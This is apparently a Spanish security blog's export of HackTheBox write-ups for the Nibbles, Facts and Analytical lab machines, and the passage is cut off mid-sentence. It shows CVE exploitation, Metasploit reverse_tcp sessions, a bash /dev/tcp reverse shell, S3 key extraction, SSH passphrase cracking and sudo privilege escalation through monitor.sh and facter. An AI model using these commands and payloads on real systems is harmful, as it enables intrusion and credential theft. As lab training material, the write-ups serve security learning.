]\tposts.xml\t2017-12-28 15:38 93 [ ]\tshadow.php\t2017-12-10 12:20 210 [ ]\ttags.xml\t2017-12-28 15:38 97 [ ]\tusers.xml\t2017-12-29 05:42 370 En users descubrimos la existencia del usuario admin, con ID \u0026ldquo;0\u0026rdquo;. En config encontramos el email del administrador, admin@nibbles.com Tras mirar todo lo demás, volvemos a enumerar, esta vez archivos:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 gobuster dir -u http://10.129.96.84/nibbleblog -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -x php =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.129.96.84/nibbleblog [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8.2 [+] Extensions: php [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== index.php (Status: 200) [Size: 2987] sitemap.php (Status: 200) [Size: 402] feed.php (Status: 200) [Size: 302] admin.php (Status: 200) [Size: 1401] install.php (Status: 200) [Size: 78] update.php (Status: 200) [Size: 1622] De todas estas, en update.php encontramos que se está usando la versión Nibbleblog 4.0.3 \u0026quot;Coffee\u0026quot;, vulnerable a, p.ej, CVE-2015-6967 (RCE), con varios PoC. En admin.php nos encontramos un panel de admin que requiere unas credenciales que desconocemos (solo tenemos el usuario admin).\nPara aprovechar el RCE, primero necesitamos unas credenciales válidas, así que probamos varias por defecto: admin, password, 123456\u0026hellip; Al probar con nibbles conseguimos entrar.\nUna vez con credenciales, iba a usar el PoC anterior, pero veo que Metasploit tiene un exploit dedicado a esto:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 msf \u0026gt; use exploit/multi/http/nibbleblog_file_upload ... #Al configurarlo del todo: msf exploit(multi/http/nibbleblog_file_upload) \u0026gt; show options Module options (exploit/multi/http/nibbleblog_file_upload): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD nibbles yes The password to authenticate with Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks4, socks5, socks5h, http, s apni RHOSTS 10.129.96.84 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI /nibbleblog/ yes The base path to the web application USERNAME admin yes The username to authenticate with VHOST no HTTP server virtual host Payload options (php/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.10.14.54 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Nibbleblog 4.0.3 Al ejecutarlo:\n1 2 3 4 [*] Meterpreter session 3 opened (10.10.14.54:4445 -\u0026gt; 10.129.96.84:55128) meterpreter \u0026gt; pwd /var/www/html/nibbleblog/content/private/plugins/my_image Privesc # En el directorio del usuario, listamos los elementos:\n1 2 3 4 5 6 7 8 9 10 meterpreter \u0026gt; ls Listing: /home/nibbler ====================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100600/rw------- 0 fil 2017-12-29 05:29:56 -0500 .bash_history 040775/rwxrwxr-x 4096 dir 2017-12-10 22:04:04 -0500 .nano 100400/r-------- 1855 fil 2017-12-10 22:07:21 -0500 personal.zip 100400/r-------- 33 fil 2026-02-13 18:29:14 -0500 user.txt Encontramos personal.zip, un archivo que, al descomprimirlo, contiene monitor.sh, un programa que comprueba conectividad, carga del sistema, memoria, usuarios, etc.\nSi usamos sudo -l, veremos lo siguiente:\n1 2 3 4 5 6 sudo -l Matching Defaults entries for nibbler on Nibbles: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin User nibbler may run the following commands on Nibbles: (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh Dado que somos el usuario nibbler, podemos crear el archivo en su directorio en /home con total libertad:\n1 2 3 4 5 6 7 8 9 $ mkdir -p /home/nibbler/personal/stuff/ \u0026amp;\u0026amp; cd personal/stuff $ echo \u0026#34;IyEvYmluL3NoCnNoCg==\u0026#34; | base64 -d \u0026gt; monitor.sh $ cat monitor.sh #!/bin/sh sh $ chmod +x monitor.sh $ sudo /home/nibbler/personal/stuff/monitor.sh $ whoami root Y tenemos root.\n","date":"14 de febrero de 2026","externalUrl":null,"permalink":"/writeups/nibbles/","section":"Writeups","summary":"OS: Linux | Dificultad: Easy | Conceptos: Nibbleblog, CVE Público, Metasploit","title":"HackTheBox - Nibbles","type":"writeups"},{"content":"","date":"14 de febrero de 2026","externalUrl":null,"permalink":"/tags/nibbleblog/","section":"Tags","summary":"","title":"Nibbleblog","type":"tags"},{"content":"","date":"12 de febrero de 2026","externalUrl":null,"permalink":"/tags/camaleoncms/","section":"Tags","summary":"","title":"CamaleonCMS","type":"tags"},{"content":" Dificultad: easy Tiempo aprox. ~2.5h Datos Iniciales: 10.129.1.12 Nmap Scan # Tras realizar un escaneo nmap completo, se encuentran los siguientes puertos abiertos:\n1 2 3 4 5 6 7 8 9 10 11 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA) |_ 256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519) 80/tcp open http nginx 1.26.3 (Ubuntu) |_http-server-header: nginx/1.26.3 (Ubuntu) |_http-title: Did not follow redirect to http://facts.htb/ 54321/tcp open http Golang net/http server |_http-title: Did not follow redirect to http://10.129.1.12:9001 ... Añadimos facts.htb a /etc/hosts\nTCP/22: SSH, versión no vulnerable. TCP/80: HTTP, el potencial vector de entrada TCP/54321: Servidor golang? Redirige a 10.129.1.12:9001 Puerto 54321 # Antes de entrar al servidor web del puerto 80, probamos a ver qué hay en el 54321.\nSi nos fijamos en el análisis de nmap, veremos lo siguiente:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 ... 54321/tcp open http Golang net/http server |_http-title: Did not follow redirect to http://10.129.1.12:9001 | fingerprint-strings: | FourOhFourRequest: | HTTP/1.0 400 Bad Request | Accept-Ranges: bytes | Content-Length: 303 | Content-Type: application/xml | Server: MinIO | Strict-Transport-Security: max-age=31536000; includeSubDomains | Vary: Origin | X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8 | X-Amz-Request-Id: 189348DC6AE9369B | X-Content-Type-Options: nosniff | X-Xss-Protection: 1; mode=block | Date: Wed, 11 Feb 2026 19:46:30 GMT | \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; | \u0026lt;Error\u0026gt;\u0026lt;Code\u0026gt;InvalidRequest\u0026lt;/Code\u0026gt;\u0026lt;Message\u0026gt;Invalid Request (invalid argument)\u0026lt;/Message\u0026gt;\u0026lt;Resource\u0026gt;/nice ports,/Trinity.txt.bak\u0026lt;/Resource\u0026gt;\u0026lt;RequestId\u0026gt;189348DC6AE9369B\u0026lt;/RequestId\u0026gt;\u0026lt;HostId\u0026gt;dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8\u0026lt;/HostId\u0026gt;\u0026lt;/Error\u0026gt; | GenericLines, Help, RTSPRequest, SSLSessionReq: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 400 Bad Request | Accept-Ranges: bytes | Content-Length: 276 | Content-Type: application/xml | Server: MinIO | Strict-Transport-Security: max-age=31536000; includeSubDomains | Vary: Origin | X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8 | X-Amz-Request-Id: 189348D8CA984E90 | X-Content-Type-Options: nosniff | X-Xss-Protection: 1; mode=block | Date: Wed, 11 Feb 2026 19:46:14 GMT | \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; | \u0026lt;Error\u0026gt;\u0026lt;Code\u0026gt;InvalidRequest\u0026lt;/Code\u0026gt;\u0026lt;Message\u0026gt;Invalid Request (invalid argument)\u0026lt;/Message\u0026gt;\u0026lt;Resource\u0026gt;/\u0026lt;/Resource\u0026gt;\u0026lt;RequestId\u0026gt;189348D8CA984E90\u0026lt;/RequestId\u0026gt;\u0026lt;HostId\u0026gt;dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8\u0026lt;/HostId\u0026gt;\u0026lt;/Error\u0026gt; | HTTPOptions: | HTTP/1.0 200 OK | Vary: Origin | Date: Wed, 11 Feb 2026 19:46:14 GMT |_ Content-Length: 0 |_http-server-header: MinIO ... De aquí podemos sacar la siguiente información:\nServidor MinIO. En su momento no sabía qué era Headers HTTP \u0026ldquo;Amz\u0026rdquo;, posiblemente relacionado con Amazon? Respuesta del server al test de nmap: InvalidRequest, posiblemente necesite otro tipo o sintaxis de solicitud. Tras una búsqueda, encuentro info relevante sobre MinIO, S3 y los buckets:\nQué es S3? S3 (Simple Storage Service) es un sistema de almacenamiento de objetos pensado para guardar datos no estructurados (imágenes, backups, logs, etc.) de forma duradera, segura y altamente disponible. La API de S3 permite gestionar buckets, objetos, ACLs, metadatos, etc.\nQué es un Bucket? Un bucket es un \u0026ldquo;directorio\u0026rdquo; de alto nivel, el contenedor raíz donde se almacenan los objetos. Un objeto en S3 es un archivo más sus metadatos. En un bucket NO hay subdirectorios, tiene una estructura plana, las rutas en las que están los objetos forman parte de la propia clave que define al objeto. \u0026ldquo;2026/enero/database.db.bak\u0026rdquo; es en sí el nombre (clave) del archivo \u0026ldquo;2026/enero/database.db.bak\u0026rdquo;, no hay un directorio \u0026ldquo;2026\u0026rdquo; ni otro \u0026ldquo;enero\u0026rdquo; dentro de este.\nCómo se relaciona MinIO con todo esto? Dado que la API S3 de AWS se lanzó tempranamente (2006) y es muy simple y escalable, la industria la ha adoptado como estándar de facto, p.ej en Google Cloud, Azure, y en software open source como MinIO.\nY qué es MinIO? Finalmente, MinIO es un servidor de almacenamiento de objetos open-source compatible con la API de S3. La principal diferencia es que AWS S3 es gestionado por Amazon en una nube pública, mientras que MinIO puede instalarse en servidores privados como servicio, aunque funciona de forma idéntica.\nDe momento, como más allá de la teoría no sé enumerar buckets S3, paso al puerto 80.\nPuerto 80, nginx # Al entrar, nos encontramos un blog en el que el administrador sube datos curiosos:\nPlanteo varias opciones:\nSQLi en campo de búsqueda -\u0026gt; No vulnerable XSS en campo de búsqueda -\u0026gt; No vulnerable XSS en comentarios -\u0026gt; No se pueden comentar posts Así que decido hacer fuzzing de directorios:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 gobuster dir -u http://facts.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://facts.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8.2 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== index (Status: 200) [Size: 11113] search (Status: 200) [Size: 19187] rss (Status: 200) [Size: 183] sitemap (Status: 200) [Size: 3508] en (Status: 200) [Size: 11109] page (Status: 200) [Size: 19593] welcome (Status: 200) [Size: 11966] admin (Status: 302) [Size: 0] [--\u0026gt; http://facts.htb/admin/login] post (Status: 200) [Size: 11308] ajax (Status: 200) [Size: 0] up (Status: 200) [Size: 73] - (Status: 200) [Size: 11098] 404 (Status: 200) [Size: 4836] robots (Status: 200) [Size: 33] 400 (Status: 200) [Size: 6685] error (Status: 500) [Size: 7918] 500 (Status: 200) [Size: 7918] 422 (Status: 200) [Size: 8380] captcha (Status: 200) [Size: 1552] De aquí destacan varias cosas:\nsitemap: posible mapa del contenido del servidor. Al final no hay muchas cosas relevantes robots: robots.txt, solo apuntaba a sitemap admin, que redirige a admin/login, entramos a ver. En http://facts.htb/admin/login vemos lo siguiente:\nAprovechando que podemos crear una cuenta, la creamos. Desde el panel de admin vemos que se está usando Camaleon CMS v2.9.0. Tras una búsqueda rápida encontramos que esta versión es vulnerable a CVE-2025-2304.\nEste CVE tiene varios PoC públicos, uno de ellos listando que además puede conseguir un S3 Config Leak, relacionado directamente con el server MinIO visto antes.\nVisión general Podemos deducir que, dado que CamaleonCMS es (casualmente) un CMS (que sirve contenido), es muy probable que los archivos e imágenes que sirve o los datos del backend (usuarios, contraseñas, etc.) estén almacenados en el servidor MinIO.\nHaciendo uso del PoC:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 python exploit.py -u http://facts.htb -U username -P password -e #El usuario y contraseña creados en el panel de admin antes son literalmente \u0026#34;username\u0026#34; y \u0026#34;password\u0026#34; (para intentar no olvidarme de ellos). [+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated) [+]Login confirmed User ID: 5 Current User Role: client [+]Loading PPRIVILEGE ESCALATION User ID: 5 Updated User Role: admin [+]Extracting S3 Credentials s3 access key: AKIAFC0D81519CD08F22 s3 secret key: Q/HzwX6w1DKpmgoLiyi9R9munNEkoW8KfRxpy/Fc s3 endpoint: http://localhost:54321 [+]Reverting User Role Puerto 54321, MinIO # Ahora que tenemos las claves, podemos usar la herramienta de cli aws y conectarnos al server MinIO. Primero creamos un perfil que almacena las credenciales y configuraciones:\n1 2 3 4 5 6 $ aws configure --profile facts AWS Access Key ID [None]: AKIAFC0D81519CD08F22 AWS Secret Access Key [None]: Q/HzwX6w1DKpmgoLiyi9R9munNEkoW8KfRxpy/Fc Default region name [None]: us-east-1 Default output format [None]: json La herramienta aws convierte los parámetros que se le pasan por la terminal en una solicitud HTTP con el formato del API S3. aws normalmente se usaría con servidores de AWS reales, pero como la API S3 funciona con MinIO también, podemos usar la herramienta indistintamente en ambos.\nAhora, usando el perfil, listamos buckets:\n1 2 3 4 $ aws --endpoint-url http://facts.htb:54321 s3 ls --profile facts 2025-09-11 08:06:52 internal 2025-09-11 08:06:52 randomfacts Aunque es bastante probable que lo interesante esté en el bucket internal, vamos primero a randomfacts por si hay algo:\n1 2 3 4 5 6 7 8 9 10 11 12 $ aws --endpoint-url http://facts.htb:54321 s3 ls s3://randomfacts --profile facts PRE thumb/ 2025-09-11 08:07:06 446847 animalejected.png ...[SNIP]... 2025-09-11 08:07:02 341284 smallanimals.png 2025-09-11 08:07:02 332397 superiorpeople.png 2025-09-11 08:07:01 39579 vanilla.png 2025-09-11 08:07:01 35769 youtubewatchhours.png $ aws --endpoint-url http://facts.htb:54321 s3 ls s3://randomfacts/thumb/ --profile facts 2025-09-11 08:07:06 18784 animalejected-png.png ... Como imaginábamos, no hay nada relevante, vamos a internal:\n1 2 3 4 5 6 7 8 $aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal --profile facts PRE .bundle/ PRE .cache/ PRE .ssh/ 2026-01-08 13:45:13 220 .bash_logout 2026-01-08 13:45:13 3900 .bashrc 2026-01-08 13:47:17 20 .lesshst 2026-01-08 13:47:17 807 .profile Tras ordenar todo un poco, tenemos los siguientes archivos disponibles:\n1 2 3 4 5 6 7 8 9 10 $ aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal --profile facts --recursive \u0026gt; lista.txt $ grep -v \u0026#34;.bundle\u0026#34; lista.txt 2026-01-08 13:45:13 220 .bash_logout 2026-01-08 13:45:13 3900 .bashrc 2026-01-08 14:01:43 0 .cache/motd.legal-displayed 2026-01-08 13:47:17 20 .lesshst 2026-01-08 13:47:17 807 .profile 2026-02-11 14:05:41 82 .ssh/authorized_keys 2026-02-11 14:05:41 464 .ssh/id_ed25519 Y estamos a nada de poder entrar, tenemos una clave privada de SSH: id_ed25519. La descargamos:\n1 2 3 $ aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 ./sshPriv_Facts --profile facts download: s3://internal/.ssh/id_ed25519 to ./sshPriv_Facts Clave Privada SSH # Tenemos la clave privada, solo necesitamos saber el nombre de usuario. Puede estar en muchos sitios, así que vamos enumerando el bucket.\nTras un rato mirando, veo que no hay comentarios en las claves ni en authorized_keys, que no hay una ruta (p.ej /home/...) especificada en el .bashrc y que no hay nada que contenga home, user, passwd o config útil en el bucket.\nDedido usar crowbar para hacer \u0026ldquo;sshkey-spraying\u0026rdquo; contra una serie de usuarios.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $ cat wordlist facts ubuntu camaleon camaleoncms user admin root web www-data carol bob dave $ crowbar -b sshkey -k sshPriv_Facts -U wordlist -s 10.129.1.12/32 2026-02-11 18:36:28 START 2026-02-11 18:36:28 Crowbar v0.4.2 2026-02-11 18:36:28 Trying 10.129.1.12:22 2026-02-11 18:36:28 STOP 2026-02-11 18:36:28 No results found... Tras un rato probando con más wordlists, empiezo a plantearme si verdaderamente la clave privada que tengo corresponde a la pública que aparece en authorized_keys, así que intento sacar la pública a partir de la privada:\n1 2 $ ssh-keygen -y -f sshPriv_Facts Enter passphrase for \u0026#34;sshPriv_Facts\u0026#34;: Necesitamos contraseña, probamos a ver si coinciden el fingerprint de la clave privada y el de la de authorized_keys:\n1 2 3 4 5 6 7 $ ssh ubuntu@facts.htb -i sshPriv_Facts -v ...[SNIP]... debug1: Will attempt key: sshPriv_Facts ED25519 SHA256:CaxvNjIzBMaUcRQXvN3uZimyPin18byKHSQFrAVQ5Kw explicit debug1: Offering public key: sshPriv_Facts ED25519 SHA256:CaxvNjIzBMaUcRQXvN3uZimyPin18byKHSQFrAVQ5Kw explicit debug1: Authentications that can continue: publickey,password debug1: Next authentication method: password ubuntu@facts.htb\u0026#39;s password: El de la privada es CaxvNj...[SNIP]...VQ5Kw\n1 2 $ ssh-keygen -l -f authorized_keys 256 SHA256:CaxvNjIzBMaUcRQXvN3uZimyPin18byKHSQFrAVQ5Kw no comment (ED25519) El de la pública es CaxvNj...[SNIP]...VQ5Kw, así que sí, la clave privada tiene que funcionar para algún usuario (si el authorized_keys está en uso en algún sitio realmente).\nCrackeando contraseña # Al haber confirmado que al menos la clave privada nos va a ser útil y corresponde a la pública de authorized_keys, probamos a conseguir la contraseña que la cifraba (porque igual se reutiliza en algún sitio).\n1 2 3 4 5 6 7 8 9 10 11 12 13 $ ssh2john sshPriv_Facts \u0026gt; ssh.hash $ john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 24 for all loaded hashes Will run 8 OpenMP threads Press \u0026#39;q\u0026#39; or Ctrl-C to abort, almost any other key for status dragonballz (sshPriv_Facts) 1g 0:00:00:49 DONE (2026-02-11 18:41) 0.02010g/s 64.33p/s 64.33c/s 64.33C/s billy1..imissu Use the \u0026#34;--show\u0026#34; option to display all of the cracked passwords reliably Session completed. Una vez tenemos la contraseña dragonballz:\n1 2 3 ssh-keygen -y -f sshPriv_Facts Enter passphrase for \u0026#34;sshPriv_Facts\u0026#34;: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOGS0kGbiJNi57+7OhndU9LB6qQpwG2vQx/Rgn7/ktf8 trivia@facts.htb Tenemos el usuario: trivia.\nConexión inicial por SSH # Nos conectamos por ssh:\n1 2 3 4 5 6 ssh trivia@facts.htb -i sshPriv_Facts Enter passphrase for key \u0026#39;sshPriv_Facts\u0026#39;: Last login: Wed Jan 28 16:17:19 UTC 2026 from 10.10.14.4 on ssh Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64) trivia@facts:~$ PrivEsc # Inmediatamente al entrar comprobamos permisos sudo:\n1 2 3 4 5 6 $ sudo -l Matching Defaults entries for trivia on facts: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin, use_pty User trivia may run the following commands on facts: (ALL) NOPASSWD: /usr/bin/facter Tras mirar, resulta que facter es un programa que permite recolectar y ver datos del sistema. Al mirar el manpage veo varias opciones curiosas como --debug, y todo me apunta a que hay que hacer que facter \u0026ldquo;escupa\u0026rdquo; todo a pantalla para que se abra el paginador (p.ej less) y desde ahí podamos abrir un shell (como en Devvortex), pero, desgraciadamente, no es el caso.\nDe todas formas, podemos crear un archivo .rb que engañe a facter haciéndole creer que es una función para calcular un dato nuevo, cuando en realidad es un shell:\n1 2 3 trivia@facts:/tmp/exploit$ echo \u0026#34;Facter.add(:shell) do setcode do system(\u0026#39;/bin/bash\u0026#39;) end end\u0026#34; \u0026gt; /tmp/exploit/shell.rb trivia@facts:/tmp/exploit$ sudo /usr/bin/facter --custom-dir=/tmp/exploit root@facts:/tmp/exploit# Y somos root.\n","date":"12 de febrero de 2026","externalUrl":null,"permalink":"/writeups/facts/","section":"Writeups","summary":"OS: Linux | Dificultad: Easy | Conceptos: MinIO, S3, CamaleonCMS, CVE Público, Binario Custom","title":"HackTheBox - Facts","type":"writeups"},{"content":"","date":"12 de febrero de 2026","externalUrl":null,"permalink":"/tags/minio/","section":"Tags","summary":"","title":"MinIO","type":"tags"},{"content":" Dificultad: easy Tiempo aprox. ~2.5h Datos Iniciales: 10.129.229.224 Nmap Scan y enumeración # Tras realizar un escaneo nmap, se encuentran los siguientes puertos abiertos:\n1 2 3 4 5 6 7 8 9 10 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://analytical.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel # Nada relevante en UDP Añadimos analytical.htb a /etc/hosts.\nNota: Redirecciones El hecho de que http nos redirija a analytical.htb indica que la configuración del servidor web utiliza vhosts para saber qué servir al usuario (Y por tanto, si accedes a la IP tal cual, el servidor no sabe qué servirte, por eso nos ha redirigido). Una vez que sabes que el servidor discrimina por nombres, la probabilidad de que existan otros nombres (subdominios/vhosts) en esa misma IP se eleva bastante. De ahí que el siguiente paso que tomo sea un análisis con gobuster.\n1 2 3 4 5 6 7 8 9 10 11 12 13 gobuster vhost --url http://analytical.htb -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt --append-domain =============================================================== Gobuster v3.8 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://analytical.htb [+] Method: GET [+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt [+] Append Domain: true =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== data.analytical.htb Status: 200 [Size: 77858] Y hemos encontrado data.analytical.htb, lo añadimos también a /etc/hosts.\nHTTP # analytical.htb # Antes de entrar directamente al subdominio data, vamos a analytical.htb. No encontramos nada relevante en la página principal, salvo:\nNombres de trabajadores (Probablemente sean decoración, pero podrían servir para crear wordlists de usuarios). Jonnhy Smith Alex Kirigo Daniel Walker Emails (probablemente no válidos): demo@analytical.com due@analytical.com Además, encontramos un botón Login que nos redirige a data.analytical.htb, subdominio que ya conocíamos. De ahora en adelante nos centramos en data.analytical.htb.\ndata.analytical.htb # Se trata de un subdominio que corresponde a un servicio de Metabase. Tras buscar en Internet:\nMetabase is an open-source business intelligence (BI) tool that allows users to explore and visualize data from various databases, creating interactive dashboards and reports without needing SQL knowledge.\nEn la página de login no encontramos ninguna información de versión ni del servidor:\nAdemás, tras buscar en google:\n\u0026ldquo;Metabase does not have hardcoded default credentials like \u0026ldquo;admin/password\u0026rdquo; for initial setup. Instead, it forces you to create the first admin account upon the very first launch.\u0026rdquo;\nPor lo que no hay mucho que podamos probar.\nIntentamos enumerar subdirectorios:\n1 2 3 4 5 6 gobuster dir -u http://data.analytical.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt ...[SNIP]... =============================================================== Progress: 0 / 1 (0.00%) The server returns a status code that matches the provided options for non existing urls. http://data.analytical.htb/cbddbf7b-7a6d-4dbe-91b2-0e6aadfefac1 =\u0026gt; 200 (Length: 77894). Please exclude the response length or the status code or set the wildcard option.. To continue please exclude the status code or the length Nos encontramos un wildcard para archivos y subdirectorios. Además, no podemos filtrar por tamaño porque en cada solicitud los bytes de respuesta varían un poco (+-40B).\nPruebo a enumerar manualmente algunos directorios comunes, teniendo en cuenta que para cualquier elemento que no existe se devuelve la página de login.\nPara /api/:\nVemos que se devuelve \u0026quot;API endpoint does not exist.\u0026quot;, así que probamos a enumerar el directorio api:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 gobuster dir -u http://data.analytical.htb/api/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt =============================================================== Gobuster v3.8 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://data.analytical.htb/api/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8 =============================================================== Starting gobuster in directory enumeration mode =============================================================== /search (Status: 401) [Size: 15] /user (Status: 401) [Size: 15] /email (Status: 401) [Size: 15] /health (Status: 200) [Size: 15] /google (Status: 401) [Size: 15] /action (Status: 401) [Size: 15] /database (Status: 401) [Size: 15] /timeline (Status: 401) [Size: 15] /alert (Status: 401) [Size: 15] Vemos que data.analytical.htb/api/health devuelve HTTP/200, probamos a acceder al endpoint:\n1 2 curl http://data.analytical.htb/api/health {\u0026#34;status\u0026#34;:\u0026#34;ok\u0026#34;} Tras buscar en /api con distintos métodos HTTP (POST/PUT/OPTIONS\u0026hellip;) seguimos sin encontrar nada.\nVuelvo a mirar en la página web de login y veo que, en los datos devueltos, se encuentra lo siguiente:\n1 2 3 4 5 6 7 8 9 10 \u0026#34;version-info-last-checked\u0026#34;:\u0026#34;2026-01-24T18:15:00.009205Z\u0026#34; \u0026#34;application-logo-url\u0026#34;:\u0026#34;app/assets/img/logo.svg\u0026#34; \u0026#34;application-favicon-url\u0026#34;:\u0026#34;app/assets/img/favicon.ico\u0026#34; \u0026#34;show-metabot\u0026#34;:true \u0026#34;enable-whitelabeling?\u0026#34;:false,\u0026#34;map-tile-server-url\u0026#34;:\u0026#34;https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png\u0026#34; \u0026#34;startup-time-millis\u0026#34;:11104.0 \u0026#34;redirect-all-requests-to-https\u0026#34;:false,\u0026#34;version\u0026#34;:{\u0026#34;date\u0026#34;:\u0026#34;2023-06-29\u0026#34; \u0026#34;tag\u0026#34;:\u0026#34;v0.46.6\u0026#34; .... \u0026#34;hash\u0026#34;:\u0026#34;1bb88f5\u0026#34; Tanto el tag como el hash apuntan a la misma versión de Metabase: v0.46.6\n\u0026ldquo;Metabase v0.46.6 tiene una vulnerabilidad crítica de ejecución remota de código (RCE) sin autenticación, identificada como CVE-2023-38646.\u0026rdquo;\nComo no vemos nada relevante en /api, probamos a buscar algún exploit público y encontramos este.\nAl ejecutarlo con penelope en escucha:\n1 python3 main.py -u http://data.analytical.htb -t 249fa03d-fd94-4d5b-b94f-b4ebf3df681f -c \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.14.108/4321 0\u0026gt;\u0026amp;1\u0026#34; Como decía la página del PoC, para conseguir el setup-token (-t) vamos a /api/session/properties.\nY en el handler:\n1 2 3 4 5 6 [+] Got reverse shell from 8627fec13e9f~10.129.229.224-Linux-x86_64 Assigned SessionID \u0026lt;1\u0026gt; [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /var/tmp/socat! ------------- 8627fec13e9f:whoami metabase Salida de Docker # Enumeración # Ejecutamos linpeas y encontramos varias cosas relevantes:\nEstamos en un container Docker. Rootless Docker? No 2 usuarios con consola: root y metabase MUY IMPORTANTE:/proc mounted? Yes IMPORTANTE: Archivos cambiados recientemente: /metabase.db/metabase.db.mv.db /tmp/hsperfdata_metabase/1 IMPORTANTE: Archivos/directorios inesperados en root: /plugins, /app, /metabase.db, /.dockerenv IMPORTANTE: Puerto abierto: 0.0.0.0:3000 java (Metabase) IMPORTANTE: Common host filesystem mounted? /dev/sda2 on /etc/hostname type ext4 (rW,relatime) /dev/sda2 on /etc/hosts type ext4 (rw,relatime) IMPORTANTE: Dangerous capabilities CapBnd: 00000000a00425f9 Además, al ejecutar env encontramos credenciales:\n1 2 META_PASS=An4lytics_ds20223# META_USER=metalytics Después de una hora descartando las opciones de arriba y tras 